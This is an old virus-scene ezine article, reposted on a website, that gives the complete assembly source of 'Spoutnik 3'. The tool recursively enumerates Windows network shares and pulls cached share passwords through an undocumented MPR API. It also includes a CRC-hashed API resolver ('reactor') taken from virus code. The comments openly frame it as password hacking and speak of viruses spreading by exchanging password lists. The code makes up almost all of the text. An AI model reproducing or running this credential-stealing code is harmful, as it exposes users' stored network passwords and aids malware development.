Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 303

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 303 |
\-----------------------------/

;
; Spoutnik 3 was build in order to Hack the password and try to combine them
; to other ressource, even imagine viruses on networks that exchange their
; password list, this apps!Ikx call this undocumented API:
;
; WNetEnumCachedPasswords^Ikx:
; arg1 -> will be put on the stack when routine called
; arg2 -> the routine adress that will receive on ESP+4 the
; ressource name and the hacked password
; arg3 -> number of invocation
; arg4 -> set to zero (??? - Unknown)
; arg5 -> idem
;
; this is also a ring scanner, it can scan (theorically) all the sub entries of
; a network, this was specially boring to do this, the structure is kinda a
; boucle
;
; This apps doesn't work with that satanic os that bugs on all asm sources: NT
;
; it also(ikx) open a MesageBox with Domain Machine and Disk references...
;

.386
locals
.model flat

extrn WNetOpenEnumA:Proc
extrn WNetCloseEnum:Proc
extrn WNetEnumResourceA:Proc
extrn WNetAddConnection2A:Proc
extrn WNetCancelConnection2A:Proc
extrn LocalAlloc:Proc
extrn LocalFree:Proc
extrn LoadLibraryA:Proc
extrn MessageBoxA:Proc

extrn ExitProcess:Proc

.data ;the data area

LastAlloc: dd 0
AllocHandle: dd 0

Ressource1: db 'SPouTNiK III (Ikx) (A) Just-Do-It in asm !',0

Minimport: ; This is our light version of our
; import zone
db 'KERNEL32.' ; note the . finish the include
db 'MPR.' ;
db -1

startapis:

dd 078a25f37h ; FreeLibrary
dd 0979bA034h ; WNetGetCachedPassword

db -1


type0: db ' Global Network: ',-1
type1: db ' Workgroup: ',-1
type2: db 10,13,' Machine: ',-1
type3: db ' Disk: ',-1
Type99: db ' $Password: ',-1

display: db 'Note: That program was originally develloped',10,13
db 'for Microsoft Network, Check that Global',10,13
db 'Network is already loaded',10,13,10,13
db 'No entry,',10,13
db 10,13
db 'StarZ3r0 (IKX) / (IkX) product (ikx) ',10,13,0

dd 8000h dup (?)

thatcompare: dd ?

startlist:

FreeLibrary: dd ? ; invoked apis
GetCached: dd ?

displaypointer: dd ?

DaddyOffset: dd 20 dup (?)
DaddyOffset2: dd 20 dup (?)
DaddyOffset3: dd 20 dup (?)

.code ;executable code starts here

HOST:
xor ebp,ebp
lea eax,[ebp+display]
mov dword ptr [ebp+displaypointer],eax
call networkscan ; call the scan routine

cmp dword ptr [ebp+displaypointer],offset display
je notnow
mov eax,dword ptr [ebp+displaypointer] ; detect if it
mov dword ptr [eax],0 ;something was detected
; else , then don't run
notnow:
push 0
push offset Ressource1
push offset display
push 0
call MessageBoxA ; show the display

push 0
call ExitProcess ; quit

networkscan:

lea esi,Minimport
call initapi ; detect the MPR

lea eax,[ebp+Scansubnets] ; we create articially
push eax ; the 1st boucle

; pop ebx
; push ebx
push 4000h
push 0
call LocalAlloc ; allocate

mov dword ptr [AllocHandle],eax

push eax
xor ebx,ebx
xchg eax,ebx
call Globalconnection ; open connections...

pop eax
jmp Scansubnets0

Scannets:

call Checktype ; look for password

push ebx
call Globalconnection ; open connection
pop ebx
jc ReturnUp0

push ebx
push 4000h
push 0
call LocalAlloc ; allocate it
mov dword ptr [AllocHandle],eax
pop ebx

Scansubnets:

push eax
Call EnumResource ; look all ressources
pop eax
jc ReturnUp ; if no more then
; finish
Scansubnets0:

push eax ebx
; lea ebx,[eax+12]
xchg ebx,eax
push dword ptr [ebp+AllocHandle]
call Scannets ; detect all sub entry
pop dword ptr [ebp+AllocHandle]
pop ebx eax

cmp dword ptr [ebx+20h],0
je ReturnUp ; if then , finish
add ebx,20h
jmp Scannets

ReturnUp:

mov eax,dword ptr [ebp+AllocHandle]
push dword ptr [eax]
call WNetCloseEnum ; close current Enumeration

mov eax,dword ptr [ebp+AllocHandle]
push eax
call LocalFree ; delocate it

ReturnUp0:

cmp dword ptr [ebx+20h],0
je finishscan
add ebx,20h
jmp Scannets ; detect next entry in the
; buffer
finishscan:

ret

Globalconnection:

push ebx
push eax
push large 3 ; fwdusage
push large 1 ; fwdtype , get only disks & subdirs
push large 2 ; fwdscope
call WNetOpenEnumA
add eax,-1
ret

EnumResource:

mov dword ptr [ebx+8],4000h
lea ecx,[ebx+8]
push ecx ; number of entries = 0FFFFFFFh

push eax

mov dword ptr [ebx+4],-1
lea ecx,[ebx+4]
push ecx ; number of entries = 0FFFFFFFh

push dword ptr [ebx] ; handle
Call WNetEnumResourceA
add eax,-1
ret

Checktype:

pushad

cmp dword ptr [ebx+8],1
jne check2 ; if domain then write it on
; buffer
lea ecx,[type1]
mov edx,dword ptr [ebx+20]
call droptodisplay

jmp skipscan

check2:

cmp dword ptr [ebx+8],2 ; if machine, save it!
jne check3

lea ecx,[type2]
mov edx,dword ptr [ebx+20]
call droptodisplay

jmp skipscan

check3:

cmp dword ptr [ebx+4],1
jne skipscan

thenconnect:


lea ecx,[type3] ; if disk
mov edx,dword ptr [ebx+20]

call droptodisplay ; notice it

mov al,byte ptr [ebx+12]
and al,1
cmp al,1 ; as share point, else , forgot
jne skipscan

cmp dword ptr [ebp+GetCached],0
je skipscan

lea eax,[ebx+20]
mov dword ptr [ebp+thatcompare],eax ; save the offset of ze
; name of ressources in memory
push 0
push 0
lea eax,[ebp+Ourcached]
push eax

push 0FFh
push 0
push 0

call dword ptr [ebp+GetCached] ; get hacking passwords

pop eax
skipscan:
popad

ret

Ourcached:
push ebp
mov ebp,esp
pushad

lea esi,[ebp+8]
mov esi,[esi]
xor ecx,ecx
mov cx,word ptr [esi+02]
mov ebx,6900h ; signify we have the size of
mov bl,byte ptr [esi+04] ; the password
; this will be taken in account
; in drop
add esi,8

call getdel0
getdel0: pop ebp
sub ebp,offset getdel0 ; get ebp

mov edi,dword ptr [ebp+thatcompare]
mov edi,dword ptr [edi]
dec edi
thatsvino:
inc edi
cmp byte ptr [edi],'\'
je thatsvino ; eliminate the \\
; the saved ressource have that
; followed by the password
dec esi
dec edi
inc ecx

thenscannext0:

dec ecx ; check if we have correct
inc esi ; password
inc edi ;

mov al,byte ptr [edi]
cmp al,0
je thendroptit

cmp byte ptr [esi],al
jne thenfinish0

jmp thenscannext0

thendroptit:

cmp ecx,0
jne thenfinish0 ; check if it's really good
; name
lea ecx,[Type99]
mov edx,esi
call droptodisplay ; it's dropped

thenfinish0:

mov eax,1
popad
pop ebp
ret 8 ; return

droptodisplay:

push ebp
call deltaone
deltaone:
pop ebp
sub ebp,offset deltaone ; it's done!

mov edi,dword ptr [ebp+displaypointer]

mov esi,ecx ; drop the ecx,-> spec
dec esi
dec edi

drapdropit:

inc esi
inc edi

mov al,byte ptr [esi]
mov byte ptr [edi],al
cmp al,-1
jne drapdropit

mov esi,edx

cmp bh,69h ;drop the edx -> ressourcE/pass
jne drapdropit0 ; this cmp check if we have
; password size
push ecx
xor ecx,ecx
mov cl,bl
repz movsb ; then repz it
pop ecx

jmp drapdropto0

drapdropit0: ; else, then copy it
; until 0 found...
dec esi
dec edi

drapdropit10:

inc esi
inc edi

mov al,byte ptr [esi]
mov byte ptr [edi],al
cmp al,0
jne drapdropit10

drapdropto0:

mov word ptr [edi],0D0Ah ; drop end of line
inc edi
inc edi

mov dword ptr [ebp+displaypointer],edi

pop ebp
ret

include include\reactor.asm

end HOST

- include\Reactor.asm - - - - - - - - - - - - - - - - - - - - - - - - - - - -

;
; Modified for Spoutnik III , reactor version 3c , look greenthumb for more
; informations...
;
; This is a multiDLL reactor, it comes from the version 2 of the reactor in
; arianne, hope you enjoy the code! This is version 3a coz it's specialy
; designed for DrGreenThumb.
;
; Version 3: Multiple DLL scanning
; PseudoImportZone(tm) created
; Minor changes, large instructions revised and redefined structure
; Version 2: Uses ZeroCRCs
; Only one loop used
; NT/95/98 compatible
; some bugs fixed, structure change, one loop
; Version 1: First prototype - Pretty small
;


initapi:

dothatnow:

mov ebx,esi
cmp byte ptr [esi],-1
jne scannext
ret

scannext:

inc esi
cmp byte ptr [esi-1],'.'
jne scannext

push esi

push dword ptr [esi]
push esi
mov dword ptr [esi],'lld'
push ebx
call LoadLibraryA

cmp eax,-1
jne itsokay1

pop esi
ret

itsokay1:

mov edi,eax
pop esi
pop dword ptr [esi]

mov ebx,dword ptr [edi+3Ch]
add ebx,edi ; ebx point to the PE header
; In fact it's allways PE
; I skiped the MZ and PE
; signature check coz if it's
; not, Kernel can't be loaded :]
mov esi,dword ptr [ebx+120] ; esi point to the Export
lea esi,[esi+edi] ; zone

mov ecx,dword ptr [esi+24] ; ecx = number of export
mov ebx,dword ptr [esi+32] ; ebx point to the name offset
add ebx,edi ; table
push ebp
lea ebp,[ebp+startapis-4]


Scanstring:


mov edx,dword ptr [ebx] ; edi point to the 1st
add edx,edi ; name

loophere:

pushad
mov eax,dword ptr [esi+24]
sub eax,ecx
shl eax,2
lea edx,[ebx+eax]
mov edx,[edx]
add edx,edi

push ecx
xor eax,eax
xor ecx,ecx

mov al,byte ptr [edx]

getnamecrc:

mov cl,byte ptr [edx]
test ecx,ecx
jz test_crcs
rol eax,3
xor eax,ecx
inc edx
jmp getnamecrc

test_crcs:

pop ecx
inc edx

testnext:

add ebp,4
cmp byte ptr [ebp],-1
je suither

cmp dword ptr [ebp],eax
jne testnext

getrva:

mov ebx,dword ptr [esi+24]
sub ebx,ecx
shl ebx,1

add ebx,dword ptr [esi+36] ; table RVA
add ebx,edi ; Add Rva
xor eax,eax ; seems to be okie!
mov ax,word ptr [ebx] ;

shl eax,2

add eax,dword ptr [esi+28]
add eax,edi

mov eax,dword ptr [eax]
add eax,edi
dec ebx

add ebp,offset startlist-startapis
mov dword ptr [ebp],eax

suither:

popad
loop loophere
pop ebp
pop esi

pushad
push edi
mov eax,dword ptr [ebp+FreeLibrary]
call eax
popad
jmp dothatnow

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -




← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT